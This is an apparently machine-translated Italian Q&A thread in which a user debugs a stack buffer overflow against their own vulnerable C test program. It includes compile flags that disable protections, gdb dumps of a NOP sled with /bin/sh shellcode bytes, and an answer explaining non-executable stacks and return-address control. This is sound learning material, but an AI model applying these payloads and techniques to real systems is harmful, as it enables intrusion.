Semplice buffer overflow su mac El Capitan?

4

Sto provando a fare un semplice overflow del buffer che chiama / bin / sh ma non riesce a farlo funzionare, è solo segfaults. Questo stesso exploit ha funzionato su un Linux vm che ho trasferito sul mio Mac. Per quanto mi riguarda, ho il controllo dell'EIP e punta al mio nopsled. Ho provato alcuni indirizzi all'interno del mio nosled ma senza fortuna. Ho anche provato a regolare nopsled prima e dopo il mio shellcode ma ancora senza fortuna.

Ecco il codice c che sto sfruttando:

#include <stdio.h>

int main(int argc, char **argv){
    char buf[128];
    strcpy(buf,argv[1]);
}

Compila:

$gcc -g -m32 -fno-stack-protector -o basic basic.c

Lo smontaggio di main:

   (gdb) disas main
   0x00001f40 <+0>: push   %ebp
   0x00001f41 <+1>: mov    %esp,%ebp
   0x00001f43 <+3>: push   %esi
   0x00001f44 <+4>: sub    $0xa4,%esp
   0x00001f4a <+10>:    mov    0xc(%ebp),%eax
   0x00001f4d <+13>:    mov    0x8(%ebp),%ecx
   0x00001f50 <+16>:    xor    %edx,%edx
   0x00001f52 <+18>:    lea    -0x8c(%ebp),%esi
   0x00001f58 <+24>:    mov    %ecx,-0x8(%ebp)
   0x00001f5b <+27>:    mov    %eax,-0xc(%ebp)
   0x00001f5e <+30>:    mov    -0xc(%ebp),%eax
   0x00001f61 <+33>:    mov    0x4(%eax),%eax
   0x00001f64 <+36>:    mov    %esp,%ecx
   0x00001f66 <+38>:    mov    %eax,0x4(%ecx)
   0x00001f69 <+41>:    mov    %esi,(%ecx)
   0x00001f6b <+43>:    mov    %edx,-0x90(%ebp)
   0x00001f71 <+49>:    call   0x1f8e
   0x00001f76 <+54>:    mov    -0x90(%ebp),%ecx
   0x00001f7c <+60>:    mov    %eax,-0x94(%ebp)
   0x00001f82 <+66>:    mov    %ecx,%eax
   0x00001f84 <+68>:    add    $0xa4,%esp
   0x00001f8a <+74>:    pop    %esi
   0x00001f8b <+75>:    pop    %ebp

strcpy () è la chiamata a * main + 49 quindi inserisco un'interruzione in * main + 54 ed eseguo l'alimentazione nel mio payload e ispeziono l'area intorno a esp ...

(gdb) b *main+54
Breakpoint 1 at 0x1f76: file basic.c, line 8.
(gdb) r 'cat payload'
Starting program: /Users/mnaymik/Desktop/test/basic 'cat payload'

Breakpoint 1, main (argc=-1869574000, argv=0x4e68732f) at basic.c:8
8   }
(gdb) x/40x $esp
0xbffffae0: 0xbffffafc  0xbffffc86  0x00000000  0x00000000
0xbffffaf0: 0x00000000  0x00000000  0x00000000  0x90909090
0xbffffb00: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb10: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb60: 0x31c03190  0x31c931db  0xeb0bb0d2  0x4b885b06
0xbffffb70: 0xe880cd07  0xfffffff5  0x6e69622f  0x4e68732f

Il mio shellcode sta entrando in memoria e sembra sovrascrivere EIP con l'indirizzo corretto. Ma ottengo un errore di accesso per 0xc7000000?

(gdb) s
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0xc7000000

0xbffffb10 in ?? ()
(gdb) i r
eax            0x0  0
ecx            0x0  0
edx            0x0  0
ebx            0xbffffc1c   -1073742820
esp            0xbffffb90   0xbffffb90
ebp            0x90909090   0x90909090
esi            0x90909090   -1869574000
edi            0x0  0
eip            0xbffffb10   0xbffffb10
eflags         0x386    [ PF SF TF IF ]
cs             0x1b 27
ss             0x23 35
ds             0x23 35
es             0x23 35
fs             0x0  0
gs             0xf  15

Qualcuno ha idea di cosa sto facendo male?

Modifica

Ho dovuto ricostruire gcc e ld perché non c'era nessun flag -z sulla mia versione nel mio post originale. Quindi gli offset sono leggermente cambiati.

Quindi ho impostato un punto di interruzione subito dopo call strcpy

(gdb) r 'cat pl'

Breakpoint 1, 0x565555d8 in main (
    argc=<error reading variable: Cannot access memory at address 0x45455645>, 
    argv=<error reading variable: Cannot access memory at address 0x45455649>)
    at basic.c:7
7       strcpy(buf,argv[1]);

EBP è @ 0xffffd1f8

(gdb) i r
eax            0xffffd170   -11920
ecx            0xffffd4e0   -11040
edx            0xffffd1f9   -11783
ebx            0x56557000   1448439808
esp            0xffffd160   0xffffd160
ebp            0xffffd1f8   0xffffd1f8
esi            0x2  2
edi            0xf7fab000   -134565888
eip            0x565555d8   0x565555d8 <main+56>
eflags         0x202    [ IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Ho sostituito ebp + 4 per contenere un indirizzo in cui il mio nopsled è:

(gdb) x/40x $esp
0xffffd160: 0xffffd170  0xffffd453  0xf7ffd918  0x565555b7
0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1d0: 0xc389c031  0x80cd17b0  0x6852d231  0x68732f6e
0xffffd1e0: 0x622f2f68  0x52e38969  0x8de18953  0x80cd0b42
0xffffd1f0: 0x41414141  0x41414141  0x41414141  0xffffd180

(gdb) x/2x $ebp
0xffffd1f8: 0x41414141  0xffffd180

Nessuna fortuna, questo è ciò che ottengo:

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x565555e9 in main (
    argc=<error reading variable: Cannot access memory at address 0x41414141>, 
    argv=<error reading variable: Cannot access memory at address 0x41414145>)
    at basic.c:8
8   }
(gdb) i r
eax            0x0  0
ecx            0x41414141   1094795585
edx            0xffffd1fd   -11779
ebx            0x41414141   1094795585
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x2  2
edi            0xf7fab000   -134565888
eip            0x565555e9   0x565555e9 <main+73>
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

RISOLTO:

La risposta accettata a questo post lo spiega ( link ) La cancellazione delle variabili env e la compilazione con gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln lo hanno reso un vanilla BO

    
posta Nitro 15.03.2017 - 02:42
fonte

1 risposta

3

Affinché le istruzioni scritte nello stack di runtime siano eseguite, lo stack deve avere l'autorizzazione di esecuzione impostata su true.

$gcc -g -m32 -fno-stack-protector -o basic basic.c

Una volta compilati con questi argomenti, le autorizzazioni dei segmenti di processo sono le seguenti:

$ readelf -l basic

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10 < Notice!
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

Lo stack di runtime ha i permessi di lettura e scrittura, ma non è eseguibile. Questo è ciò che sta causando il segfault. La CPU sta tentando di eseguire le istruzioni che si trovano in un indirizzo nella memoria virtuale che ha solo le autorizzazioni RW.

Per risolvere questo problema, compila il codice sorgente con gli argomenti -z execstack su gcc :

$ gcc -g -m32 -fno-stack-protector -z execstack -o basic basic.c

Ora lo stack è eseguibile:

$ readelf -l basic

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 < Notice!
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

La CPU dovrebbe ora essere in grado di eseguire le istruzioni che si trovano nello stack del runtime del programma senza che si verifichi un segfault.

Aggiornamento : sia ebp che esi (parte del preambolo di questa funzione) sono stati sovrascritti con le istruzioni NOP, quindi è probabile che anche l'indirizzo di ritorno in 4(ebp) sia stato sovrascritto , causando la scrittura di 4 istruzioni NOP su eip con conseguente nuovo segfault su 0x90909090 anziché su 0xc7000000 .

Quando si tratta di buffer overflow nello stack, il controllo di EIP ruota intorno all'istruzione ret , la controparte su call , poiché è questa istruzione che può scrivere su eip . Per call :

When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) onto the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified with the target operand.

e ret (enfasi mia):

When executing a near return, the processor pops the return instruction pointer (offset) from the top of the stack into the EIP register and begins program execution at the new instruction pointer.

Ciò significa che l'indirizzo memoria di un'istruzione eseguibile piuttosto che una sequenza di istruzioni deve trovarsi a 4(ebp) poiché questo è dove call ha premuto l'indirizzo di ritorno. Ciò significa che il numero di NOPS deve essere calcolato in modo preciso in modo che l'indirizzo di memoria della prima istruzione da eseguire sia scritto dove call ha scritto l'indirizzo di ritorno - 4(ebp) . Qualunque cosa sia in questa posizione verrà trattata da eip come indirizzo di memoria (il puntatore dell'istruzione di ritorno), non come codice eseguibile. Questo deve essere preso in considerazione quando costruisci il tuo payload.

Dalla sezione "Codice shell" di Smashing The Stack For Fun And Profit (enfasi mia):

So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code which we are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer.

    
risposta data 16.03.2017 - 23:39
fonte

Leggi altre domande sui tag